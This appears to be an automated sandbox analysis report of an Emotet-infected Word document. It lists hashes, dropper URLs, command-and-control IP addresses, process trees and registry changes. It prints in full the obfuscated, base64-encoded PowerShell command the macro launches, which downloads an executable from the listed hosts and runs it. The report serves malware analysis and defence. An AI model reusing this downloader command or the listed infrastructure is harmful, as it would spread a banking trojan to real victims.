emotet | dd66c02a3c69e9cec498c3badc4cadbd0825550702ab61ea5e4658d2783d63b7

General

Target

からの変更20.doc
Size

177KB
MD5

a1fc1721d9a89e6ed229b78edfb8dc52
SHA1

26755ee70a53481b70caa535496a2d1ba2bc1a34
SHA256

dd66c02a3c69e9cec498c3badc4cadbd0825550702ab61ea5e4658d2783d63b7
SHA512

c7996262e01e024e8027642bac0ae74b7915007e365604ca19d8c20ab8e014256d38888a6779d2f0bf269cf934baeb2e377fd374b6a2649cebfc02522b219a5f

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://reseller-demo-website.com/discussion/qWWf8FS/

exe.dropper

https://www.mockdumps.com/test/Z2pJ/

exe.dropper

https://twisterprint.com/chrometheme/Vcr/

exe.dropper

http://simulations.org/rw_common/KfX2MW/

exe.dropper

http://planosdesaudesemcarencia.com/erros/JHoq/

exe.dropper

https://viaje-achina.com/wp-admin/A1O8tL/

exe.dropper

https://cearacultural.com.br/turismo/oy/

Extracted

Family

emotet

C2

71.72.196.159:80

134.209.36.254:8080

120.138.30.150:8080

94.23.216.33:80

157.245.99.39:8080

137.59.187.107:8080

94.23.237.171:443

61.19.246.238:443

156.155.166.221:80

50.35.17.13:80

153.137.36.142:80

91.211.88.52:7080

209.141.54.221:8080

185.94.252.104:443

174.45.13.118:80

87.106.136.232:8080

62.75.141.82:80

213.196.135.145:80

188.219.31.12:80

82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1964	1828	powershell.exe

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral1/memory/576-16-0x00000000002A0000-0x00000000002B2000-memory.dmp	emotet
behavioral1/memory/576-16-0x00000000002A0000-0x00000000002B2000-memory.dmp	emotet
behavioral1/memory/576-17-0x0000000000240000-0x0000000000250000-memory.dmp	emotet
behavioral1/memory/576-17-0x0000000000240000-0x0000000000250000-memory.dmp	emotet
behavioral1/memory/976-22-0x0000000000230000-0x0000000000240000-memory.dmp	emotet
behavioral1/memory/976-22-0x0000000000230000-0x0000000000240000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 1964 powershell.exe
8 1964 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Avbjjxx_b.exemobsync.exe

pid process

576 Avbjjxx_b.exe
976 mobsync.exe

flow	pid	process
6	1964	powershell.exe
8	1964	powershell.exe

pid	process
576	Avbjjxx_b.exe
976	mobsync.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exeAvbjjxx_b.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\KBDUSL\mobsync.exe	Avbjjxx_b.exe

Office loads VBA resources, possible macro or embedded object present

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{2058705F-D176-4764-B834-C5A7DDEA511D}\2.0\FLAGS	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\ = "_UserForm"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{2058705F-D176-4764-B834-C5A7DDEA511D}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{2058705F-D176-4764-B834-C5A7DDEA511D}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\TypeLib\{2058705F-D176-4764-B834-C5A7DDEA511D}\2.0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1424 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exemobsync.exe

pid process

1964 powershell.exe
1964 powershell.exe
976 mobsync.exe
976 mobsync.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1964 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1424 WINWORD.EXE
1424 WINWORD.EXE

pid	process
1424	WINWORD.EXE

pid	process
1964	powershell.exe
1964	powershell.exe
976	mobsync.exe
976	mobsync.exe

description	pid	process
Token: SeDebugPrivilege	1964	powershell.exe

pid	process
1424	WINWORD.EXE
1424	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

powershell.exeAvbjjxx_b.exe

description	pid	process	target process
PID 1964 wrote to memory of 576	1964	powershell.exe	Avbjjxx_b.exe
PID 1964 wrote to memory of 576	1964	powershell.exe	Avbjjxx_b.exe
PID 1964 wrote to memory of 576	1964	powershell.exe	Avbjjxx_b.exe
PID 1964 wrote to memory of 576	1964	powershell.exe	Avbjjxx_b.exe
PID 576 wrote to memory of 976	576	Avbjjxx_b.exe	mobsync.exe
PID 576 wrote to memory of 976	576	Avbjjxx_b.exe	mobsync.exe
PID 576 wrote to memory of 976	576	Avbjjxx_b.exe	mobsync.exe
PID 576 wrote to memory of 976	576	Avbjjxx_b.exe	mobsync.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更20.doc"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABRAGsAeQBfAHoAYwByAD0AKAAnAE8AagAnACsAKAAnAGIAYQAnACsAJwA0ADQAJwApACsAJwAxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAUgBwAHIAbwBmAEkATABFAFwAaQB4AF8AVQAwAGUARQBcAEQAYQAzAEkAcABmAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAHQAYAB5AGAAcABSAG8AdABPAGAAQwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgACcAKQArACcAdABsACcAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAnACsAJwAgAHQAbABzACcAKQApADsAJABQADQAZAA1AGIAZABpACAAPQAgACgAKAAnAEEAdgAnACsAJwBiACcAKQArACgAJwBqAGoAeAB4ACcAKwAnAF8AJwApACsAJwBiACcAKQA7ACQATgBsAGQAaQBrAHEAaQA9ACgAJwBFACcAKwAoACcAMgBwACcAKwAnAGoANwAnACsAJwBqAGcAJwApACkAOwAkAEMAZgBfAHkAbAA3AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQB4AF8AJwArACgAJwB1ADAAJwArACcAZQBlACcAKQArACcAewAwAH0ARABhADMAaQAnACsAJwBwAGYAJwArACcAdgB7ADAAJwArACcAfQAnACkAIAAtAGYAWwBjAGgAYQByAF0AOQAyACkAKwAkAFAANABkADUAYgBkAGkAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABaAHoAZABkAG4AbgBsAD0AKAAnAEYAJwArACcANQBkACcAKwAoACcAbAAnACsAJwBvAF8AeQAnACkAKQA7ACQAWAA0ADcANABmAHkAMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwAaQBFAE4AdAA7ACQAUQBhADkAdwA1ADgAdwA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAcgBlAHMAZQAnACkAKwAoACcAbABsAGUAcgAtACcAKwAnAGQAZQAnACsAJwBtACcAKQArACcAbwAtACcAKwAnAHcAZQAnACsAJwBiAHMAJwArACcAaQAnACsAJwB0AGUAJwArACcALgBjACcAKwAnAG8AJwArACcAbQAvACcAKwAoACcAZABpACcAKwAnAHMAYwB1AHMAJwApACsAKAAnAHMAJwArACcAaQBvAG4ALwBxAFcAVwBmACcAKwAnADgARgAnACkAKwAoACcAUwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBtACcAKwAnAG8AJwArACcAYwBrAGQAdQBtAHAAcwAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHQAJwArACcAZQBzAHQALwAnACsAJwBaADIAcABKAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcABzADoAJwArACcALwAnACkAKwAoACcALwB0ACcAKwAnAHcAaQAnACkAKwAoACcAcwAnACsAJwB0AGUAJwApACsAKAAnAHIAcAAnACsAJwByAGkAJwApACsAKAAnAG4AdAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGMAaAByAG8AJwApACsAKAAnAG0AZQAnACsAJwB0AGgAZQAnACkAKwAoACcAbQBlAC8AVgAnACsAJwBjAHIAJwArACcALwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBzACcAKQArACcAaQBtACcAKwAoACcAdQAnACsAJwBsAGEAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAG8AcgAnACsAJwBnACcAKQArACcALwAnACsAKAAnAHIAdwBfAGMAJwArACcAbwBtACcAKQArACgAJwBtAG8AJwArACcAbgAvACcAKwAnAEsAZgAnACkAKwAnAFgAMgAnACsAKAAnAE0AVwAvACoAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwBwACcAKwAnAGwAYQAnACkAKwAnAG4AJwArACcAbwAnACsAKAAnAHMAJwArACcAZABlAHMAJwArACcAYQB1AGQAZQBzAGUAJwArACcAbQBjACcAKQArACcAYQAnACsAJwByAGUAJwArACcAbgBjACcAKwAnAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwAnACsAJwBlAHIAcgBvAHMALwAnACkAKwAnAEoAJwArACgAJwBIAG8AJwArACcAcQAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwB2AGkAYQBqAGUAJwArACcALQBhACcAKQArACgAJwBjACcAKwAnAGgAaQBuAGEALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkACcAKwAnAG0AaQAnACsAJwBuAC8AQQAxAE8AOAB0ACcAKQArACcATAAnACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAoACcALwBjAGUAJwArACcAYQByACcAKQArACgAJwBhAGMAdQBsACcAKwAnAHQAdQByAGEAJwArACcAbAAnACsAJwAuACcAKwAnAGMAbwBtAC4AYgAnACkAKwAoACcAcgAvACcAKwAnAHQAJwApACsAJwB1ACcAKwAoACcAcgAnACsAJwBpAHMAJwArACcAbQBvAC8AbwB5AC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQA2AHQAZwB6AGwAXwA9ACgAJwBVAG4AJwArACgAJwB3ADAAbQAzACcAKwAnADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABXAGsAZQBuADgAaQBnACAAaQBuACAAJABRAGEAOQB3ADUAOAB3ACkAewB0AHIAeQB7ACQAWAA0ADcANABmAHkAMgAuACIAZABgAG8AdwBuAEwAbwBhAGQAZgBpAGAATABlACIAKAAkAFcAawBlAG4AOABpAGcALAAgACQAQwBmAF8AeQBsADcAcgApADsAJABDAGMAeAAwADgAMAByAD0AKAAoACcAQQBkACcAKwAnAGIAcQBtADgAJwApACsAJwBiACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABDAGYAXwB5AGwANwByACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMgAzADgAMAAwACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEMAZgBfAHkAbAA3AHIAKQA7ACQAVABsAGEAMQBfAHMAegA9ACgAKAAnAE4AJwArACcAawBfADMAbQAnACkAKwAnAHkAcAAnACkAOwBiAHIAZQBhAGsAOwAkAEkAaABtAG4AMQA0AF8APQAoACcASgAnACsAJwBmACcAKwAoACcAdwBrACcAKwAnAHUAagA4ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdwBxAHoAYwBkAD0AKAAnAFkAJwArACgAJwBqAG8AeQByAG8AJwArACcAeQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe
"C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\SysWOW64\KBDUSL\mobsync.exe
"C:\Windows\SysWOW64\KBDUSL\mobsync.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:976

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\Ix_u0ee\Da3ipfv\Avbjjxx_b.exe

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C:\Users\Admin\ix_U0eE\Da3Ipfv\Avbjjxx_b.exe

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C:\Windows\SysWOW64\KBDUSL\mobsync.exe

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memory/576-14-0x0000000000000000-mapping.dmp

Download
memory/576-17-0x0000000000240000-0x0000000000250000-memory.dmp

Filesize
64KB

Download
memory/576-16-0x00000000002A0000-0x00000000002B2000-memory.dmp

Filesize
72KB

Download
memory/976-19-0x0000000000000000-mapping.dmp

Download
memory/976-22-0x0000000000230000-0x0000000000240000-memory.dmp

Filesize
64KB

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memory/1200-23-0x000007FEF59D0000-0x000007FEF5C4A000-memory.dmp

Filesize
2.5MB

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memory/1424-2-0x00000000088E0000-0x00000000088E4000-memory.dmp

Filesize
16KB

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memory/1424-6-0x0000000006DE0000-0x0000000006FE0000-memory.dmp

Filesize
2.0MB

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memory/1424-5-0x0000000006DE0000-0x0000000006FE0000-memory.dmp

Filesize
2.0MB

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memory/1424-4-0x0000000006DE0000-0x0000000006FE0000-memory.dmp

Filesize
2.0MB

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memory/1424-3-0x0000000006DE0000-0x0000000006FE0000-memory.dmp

Filesize
2.0MB

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memory/1964-7-0x000007FEE9110000-0x000007FEE9AFC000-memory.dmp

Filesize
9.9MB

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memory/1964-13-0x000000001C230000-0x000000001C231000-memory.dmp

Filesize
4KB

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memory/1964-12-0x000000001B440000-0x000000001B441000-memory.dmp

Filesize
4KB

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memory/1964-11-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

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memory/1964-10-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

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memory/1964-9-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

Filesize
4KB

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memory/1964-8-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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